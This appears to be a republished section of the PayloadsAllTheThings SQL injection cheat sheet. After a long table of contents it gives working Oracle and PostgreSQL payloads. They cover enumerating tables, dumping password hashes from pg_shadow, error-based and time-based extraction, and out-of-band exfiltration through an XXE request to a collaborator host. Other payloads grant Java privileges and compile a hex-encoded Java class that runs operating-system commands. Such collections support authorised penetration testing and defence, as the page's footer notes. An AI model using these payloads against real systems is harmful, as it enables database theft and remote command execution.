Payload topic
SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on…
- Passages
- 186
Contents
- SQL Injection
- Entry Point Detection
- DBMS Identification Keyword Based
- DBMS Identification Error Based
- Authentication Bypass
- Raw MD5 and SHA1
- Hashed Passwords
- UNION Based Injection
- Error Based Injection
- Blind Injection
- Boolean Based Injection
- Blind Error Based Injection
- Time Based Injection
- Out of Band (OAST)
- Stacked Based Injection
- Polyglot Injection
- Routed Injection
- Second Order SQL Injection
- PDO Prepared Statements
- Generic WAF Bypass
- No Space Allowed
- Alternative Whitespace Characters
- Bypassing with Comments and Parentheses
- No Comma Allowed
- No Equal Allowed
- Case Modification
- BigQuery Injection: Google BigQuery SQL Injection
- BigQuery Injection: Detection
- BigQuery Injection: BigQuery Comment
- BigQuery Injection: BigQuery Union Based
- BigQuery Injection: BigQuery Error Based
- BigQuery Injection: BigQuery Boolean Based
- BigQuery Injection: BigQuery Time Based
- Cassandra Injection: Cassandra Injection
- Cassandra Injection: CQL Injection Limitations
- Cassandra Injection: Cassandra Comment
- Cassandra Injection: Example #1
- Cassandra Injection: Example #2
- DB2 Injection: DB2 Injection
- DB2 Injection: DB2 Comments
- DB2 Injection: DB2 Default Databases
- DB2 Injection: DB2 Enumeration
- DB2 Injection: DB2 Methodology
- DB2 Injection: DB2 Error Based
- DB2 Injection: DB2 Blind Based
- DB2 Injection: DB2 Time Based
- DB2 Injection: DB2 Command Execution
- DB2 Injection: Avoiding Quotes
- DB2 Injection: DB2 Accounts and Privileges
- MSSQL Injection: MSSQL Injection
- MSSQL Injection: MSSQL Default Databases
- MSSQL Injection: MSSQL Comments
- MSSQL Injection: MSSQL Enumeration
- MSSQL Injection: MSSQL List Databases
- MSSQL Injection: MSSQL List Tables
- MSSQL Injection: MSSQL List Columns
- MSSQL Injection: MSSQL Union Based
- MSSQL Injection: MSSQL Error Based
- MSSQL Injection: MSSQL Blind Based
- MSSQL Injection: MSSQL Blind With Substring Equivalent
- MSSQL Injection: MSSQL Time Based
- MSSQL Injection: MSSQL Stacked Query
- MSSQL Injection: MSSQL Read File
- MSSQL Injection: MSSQL Write File
- MSSQL Injection: XPCMDSHELL
- MSSQL Injection: Python Script
- MSSQL Injection: MSSQL DNS exfiltration
- MSSQL Injection: MSSQL UNC Path
- MSSQL Injection: MSSQL Trusted Links
- MSSQL Injection: MSSQL List Permissions
- MSSQL Injection: MSSQL Make User DBA
- MSSQL Injection: MSSQL Database Credentials
- MSSQL Injection: MSSQL OPSEC
- MySQL Injection: MySQL Injection
- MySQL Injection: MYSQL Default Databases
- MySQL Injection: MYSQL Comments
- MySQL Injection: MYSQL Testing Injection
- MySQL Injection: Detect Columns Number
- MySQL Injection: Iterative NULL Method
- MySQL Injection: ORDER BY Method
- MySQL Injection: LIMIT INTO Method
- MySQL Injection: Extract Database With InformationSchema
- MySQL Injection: Extract Columns Name Without InformationSchema
- MySQL Injection: Extract Data Without Columns Name
- MySQL Injection: MYSQL Error Based
- MySQL Injection: MYSQL Error Based - Basic
- MySQL Injection: MYSQL Error Based - UpdateXML Function
- MySQL Injection: MYSQL Error Based - Extractvalue Function
- MySQL Injection: MYSQL Error Based - NAMECONST function (only for constants)
- MySQL Injection: MYSQL Blind With Substring Equivalent
- MySQL Injection: MYSQL Blind Using a Conditional Statement
- MySQL Injection: MYSQL Blind With MAKESET
- MySQL Injection: MYSQL Blind With LIKE
- MySQL Injection: MySQL Blind with REGEXP
- MySQL Injection: MYSQL Time Based
- MySQL Injection: Using SLEEP in a Subselect
- MySQL Injection: Using Conditional Statements
- MySQL Injection: MYSQL DIOS - Dump in One Shot
- MySQL Injection: MYSQL Current Queries
- MySQL Injection: MYSQL Read Content of a File
- MySQL Injection: WEBSHELL - OUTFILE Method
- MySQL Injection: WEBSHELL - DUMPFILE Method
- MySQL Injection: COMMAND - UDF Library
- MySQL Injection: MYSQL INSERT
- MySQL Injection: MYSQL Truncation
- MySQL Injection: MYSQL Out of Band
- MySQL Injection: DNS Exfiltration
- MySQL Injection: UNC Path - NTLM Hash Stealing
- MySQL Injection: Alternative to Information Schema
- MySQL Injection: Alternative to VERSION
- MySQL Injection: Alternative to GROUPCONCAT
- MySQL Injection: Scientific Notation
- MySQL Injection: Conditional Comments
- MySQL Injection: Wide Byte Injection (GBK)
- OracleSQL Injection: Oracle SQL Injection
- OracleSQL Injection: Oracle SQL Default Databases
- OracleSQL Injection: Oracle SQL Comments
- OracleSQL Injection: Oracle SQL Enumeration
- OracleSQL Injection: Oracle SQL Database Credentials
- OracleSQL Injection: Oracle SQL List Databases
- OracleSQL Injection: Oracle SQL List Tables
- OracleSQL Injection: Oracle SQL List Columns
- OracleSQL Injection: Oracle SQL Error Based
- OracleSQL Injection: Oracle SQL Blind
- OracleSQL Injection: Oracle Blind With Substring Equivalent
- OracleSQL Injection: Oracle SQL Time Based
- OracleSQL Injection: Oracle SQL Out of Band
- OracleSQL Injection: Oracle SQL Command Execution
- OracleSQL Injection: Oracle Java Execution
- OracleSQL Injection: Oracle Java Class
- OracleSQL Injection: Package oscommand
- OracleSQL Injection: DBMSSCHEDULER Jobs
- OracleSQL Injection: OracleSQL File Manipulation
- OracleSQL Injection: OracleSQL Read File
- OracleSQL Injection: OracleSQL Write File
- PostgreSQL Injection: PostgreSQL Injection
- PostgreSQL Injection: PostgreSQL Comments
- PostgreSQL Injection: PostgreSQL Enumeration
- PostgreSQL Injection: PostgreSQL Methodology
- PostgreSQL Injection: PostgreSQL Error Based
- PostgreSQL Injection: PostgreSQL XML Helpers
- PostgreSQL Injection: PostgreSQL Blind With Substring Equivalent
- PostgreSQL Injection: Identify Time Based
- PostgreSQL Injection: Database Dump Time Based
- PostgreSQL Injection: Table Dump Time Based
- PostgreSQL Injection: Columns Dump Time Based
- PostgreSQL Injection: PostgreSQL Out of Band
- PostgreSQL Injection: PostgreSQL Stacked Query
- PostgreSQL Injection: PostgreSQL File Read
- PostgreSQL Injection: PostgreSQL File Write
- PostgreSQL Injection: Using COPY TO/FROM PROGRAM
- PostgreSQL Injection: Using libc.so.6
- PostgreSQL Injection: Alternative to Quotes
- PostgreSQL Injection: PostgreSQL List Privileges
- PostgreSQL Injection: PostgreSQL Superuser Role
- SQLite Injection: SQLite Injection
- SQLite Injection: SQLite Comments
- SQLite Injection: SQLite Enumeration
- SQLite Injection: SQLite String Methodology
- SQLite Injection: SQLite Blind Methodology
- SQLite Injection: SQLite Blind With Substring Equivalent
- SQLite Injection: SQlite Error Based
- SQLite Injection: SQlite Time Based
- SQLite Injection: Attach Database
- SQLite Injection: Loadextension
- SQLite Injection: SQLite Read File
- SQLite Injection: SQLite Write File
- SQLmap: SQLmap
- SQLmap: Basic Arguments For SQLmap
- SQLmap: Load A Request File
- SQLmap: Custom Injection Point
- SQLmap: Second Order Injection
- SQLmap: Getting A Shell
- SQLmap: Crawl And Auto-Exploit
- SQLmap: Proxy Configuration For SQLmap
- SQLmap: Injection Tampering
- SQLmap: Suffix And Prefix
- SQLmap: Default Tamper Scripts
- SQLmap: Custom Tamper Scripts
- SQLmap: Custom SQL Payload
- SQLmap: Evaluate Python Code
- SQLmap: Preprocess And Postprocess Scripts
- SQLmap: Preprocessing Script (preprocess.py)
- SQLmap: Postprocessing Script (postprocess.py)
- SQLmap: Reduce Requests Number
- SQLmap: SQLmap Without SQL Injection
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='<DBNAME>'
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER='<DBNAME>'
| Description | Query |
| :------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Invalid HTTP Request | `SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual` |
| CTXSYS.DRITHSX.SN | `SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual` |
| Invalid XPath | `SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual` |
| Invalid XML | `SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual` |
| Invalid XML | `SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users` |
| SQL Error | `SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))` |
| XDBURITYPE getblob | `XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()` |
| XDBURITYPE getclob | `XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()` |
| XMLType | `AND 1337=(SELECT UPPER(XMLType(CHR(60)\|\|CHR(58)\|\|'~'\|\|(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))\|\|'~'\|\|CHR(62))) FROM DUAL) -- -` |
| DBMS_UTILITY | `AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'\|\|(SELECT banner FROM v$version)\|\|'~') -- -` |
When the injection point is inside a string use : `'||PAYLOAD--`
| Description | Query |
| :--------------------------------------- | :----------------------------------------------------------------------------------------------- |
| Version is 12.2 | `SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';` |
| Subselect is enabled | `SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)` |
| Table log_table exists | `SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);` |
| Column message exists in table log_table | `SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';` |
| First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` |
| Function | Example |
| -------- | ------------------------------------- |
| `SUBSTR` | `SUBSTR('foobar', <START>, <LENGTH>)` |
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
* [quentinhardy/odat](https://github.com/quentinhardy/odat) - ODAT (Oracle Database Attacking Tool)
* List Java privileges
```sql
select * from dba_java_policy
select * from user_java_policy
```
* Grant privileges
```sql
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
```
* Execute commands
* 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
```sql
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
```
* 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
```sql
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
```
* Create Java class
```sql
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
-- hex encoded payload
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
```
* Run OS command
```sql
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
SELECT os_command.exec_clob('<COMMAND>') cmd from dual
DBMS_SCHEDULER.CREATE_JOB (job_name => 'exec', job_type => 'EXECUTABLE', job_action => '<COMMAND>', enabled => TRUE)
:warning: Only in a stacked query.
utl_file.get_line(utl_file.fopen('/path/to/','file','R'), <buffer>)
utl_file.put_line(utl_file.fopen('/path/to/','file','R'), <buffer>)
> PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.
| Type | Comment |
| ------------------- | ------- |
| Single-Line Comment | `--` |
| Multi-Line Comment | `/**/` |
| Description | SQL Query |
| ---------------------- | ---------------------------------------------------- |
| DBMS version | `SELECT version()` |
| Database Name | `SELECT CURRENT_DATABASE()` |
| Database Schema | `SELECT CURRENT_SCHEMA()` |
| List PostgreSQL Users | `SELECT usename FROM pg_user` |
| List Password Hashes | `SELECT usename, passwd FROM pg_shadow` |
| List DB Administrators | `SELECT usename FROM pg_user WHERE usesuper IS TRUE` |
| Current User | `SELECT user;` |
| Current User | `SELECT current_user;` |
| Current User | `SELECT session_user;` |
| Current User | `SELECT usename FROM pg_user;` |
| Current User | `SELECT getpgusername();` |
| Description | SQL Query |
| -------------- | ------------------------------------------------------------------------------------- |
| List Schemas | `SELECT DISTINCT(schemaname) FROM pg_tables` |
| List Databases | `SELECT datname FROM pg_database` |
| List Tables | `SELECT table_name FROM information_schema.tables` |
| List Tables | `SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'` |
| List Tables | `SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'` |
| List Columns | `SELECT column_name FROM information_schema.columns WHERE table_name='data_table'` |
| Name | Payload |
| ---- | ----------------------------------------------------------------------- |
| CAST | `AND 1337=CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC) -- -` |
| CAST | `AND (CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC)) -- -` |
| CAST | `AND CAST((SELECT version()) AS INT)=1337 -- -` |
| CAST | `AND (SELECT version())::int=1 -- -` |
CAST(chr(126)||VERSION()||chr(126) AS NUMERIC)
CAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT data_column FROM data_table LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-14.